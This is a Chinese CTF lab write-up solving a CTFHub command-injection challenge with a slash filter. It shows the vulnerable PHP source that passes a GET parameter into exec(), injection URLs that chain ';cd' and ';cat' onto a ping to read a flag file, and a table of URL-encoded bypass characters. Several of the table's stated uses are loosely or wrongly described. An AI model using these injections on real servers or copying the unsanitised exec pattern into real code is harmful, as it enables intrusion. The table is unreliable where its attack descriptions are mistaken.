0x00 前言
CTFHub 专注网络安全、信息安全、白帽子技术的在线学习,实训平台。提供优质的赛事及学习服务,拥有完善的题目环境及配套 writeup ,降低 CTF 学习入门门槛,快速帮助选手成长,跟随主流比赛潮流。
0x01 题目描述
过滤目录分隔符:
这次过滤了目录分割符 / ,你能读到 flag 目录下的 flag 文件吗?
0x02 解题过程
Ⅰ检查网页源代码发现这题如果用户输入 / 或 \ 就不会执行,说明这题对斜杠做了过滤处理。这里使用 HackBar 进行测试,在 URL 后输入 /ip=127.0.0.1 对本地进行 ping 命令测试,发现可以正常回显。
<?php
$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) {
$ip = $_GET['ip'];
$m = [];
if (!preg_match_all("/\//", $ip, $m)) {
$cmd = "ping -c 4 {$ip}";
exec($cmd, $res);
} else {
$res = $m;
}
}
?>
Ⅱ在 URL 后加入参数分隔符号,输入 ls 命令进行查看,同样发现一个提示 “ flag 在这” 。说明 flag 可能在这个文件中。
http://challenge-d6bf92a0dd3e5ca9.sandbox.ctfhub.com:10800/?ip=127.0.0.1;ls
Ⅲ继续使用参数分隔符号先使用 cd 命令打开文件,然后使用参数分隔符号加上 ls 命令查看文件中的内容。发现一个文件 flag_20743606830887.php ,可能含有 flag 。
http://challenge-d6bf92a0dd3e5ca9.sandbox.ctfhub.com:10800/?ip=127.0.0.1;cd flag_is_here;ls
Ⅳ将 ls 命令替换成查看命令 cat 查看 flag_20743606830887.php 文件,在网页回显中发现一个空白回显。
http://challenge-d6bf92a0dd3e5ca9.sandbox.ctfhub.com:10800/?ip=127.0.0.1;cd flag_is_here;cat flag_20743606830887.php
Ⅴ检查网页源代码,在空白回显对应的源代码中发现此题 flag 。
0x03 过滤目录分隔符
过滤目录分隔符是对文件路径中的目录分隔符,如斜杠 / 或反斜杠 \ 过滤或去除。这样做可以避免一些安全问题,比如,路径遍历攻击以及路径注入攻击等。
常见的 URL 绕过字符使用方法:
名称 |
字符 |
URL编码 |
利用方法 |
换行符 |
%0a |
%0a |
通过HTTP响应拆分攻击来插入恶意内容,或通过XSS注入恶意脚本 |
回车符 |
%0d |
%0d |
类似于换行符,回车符也可用于HTTP响应拆分攻击和XSS注入攻击。 |
空格符 |
%20 |
%20 |
通过空字符来欺骗文件上传验证或绕过其他安全控制,导致文件上传漏洞或其他漏洞。 |
管道符 |
| |
%7c |
通过URL中使用管道符来执行SQL注入攻击或命令注入攻击。 |
逻辑与操作符 |
&& |
%26%26 |
通过URL中的逻辑与操作符来执行XSS攻击或代码注入攻击。 |
逻辑或操作符 |
|| |
%7c%7c |
通过URL中的逻辑或操作符来执行XSS攻击或SQL注入攻击。 |
小于号 |
< |
%3c |
通过URL中的小于号来执行XSS攻击,注入恶意脚本。 |
大于号 |
> |
%3e |
通过URL中的大于号来执行XSS攻击,注入恶意脚本。 |
双引号 |
" |
%22 |
通过URL中的双引号来执行XSS攻击,注入恶意脚本。 |
单引号 |
' |
%27 |
通过URL中的单引号来执行SQL注入攻击,注入恶意SQL语句。 |
反斜杠 |
\ |
%5c |
通过URL中的反斜杠来执行代码注入攻击。 |
正斜杠 |
/ |
%2f |
通过URL中的正斜杠来执行路径遍历攻击。 |
路径分隔符 |
; |
%3b |
用于分割路径,同时也可以用于注入恶意代码,比如SQL注入攻击。 |
查询符号 |
? |
%3f |
通过URL中的查询符号来执行SQL注入攻击。 |
0x04 总结
文章内容为学习记录的笔记,由于作者水平有限,文中若有错误与不足欢迎留言,便于及时更正。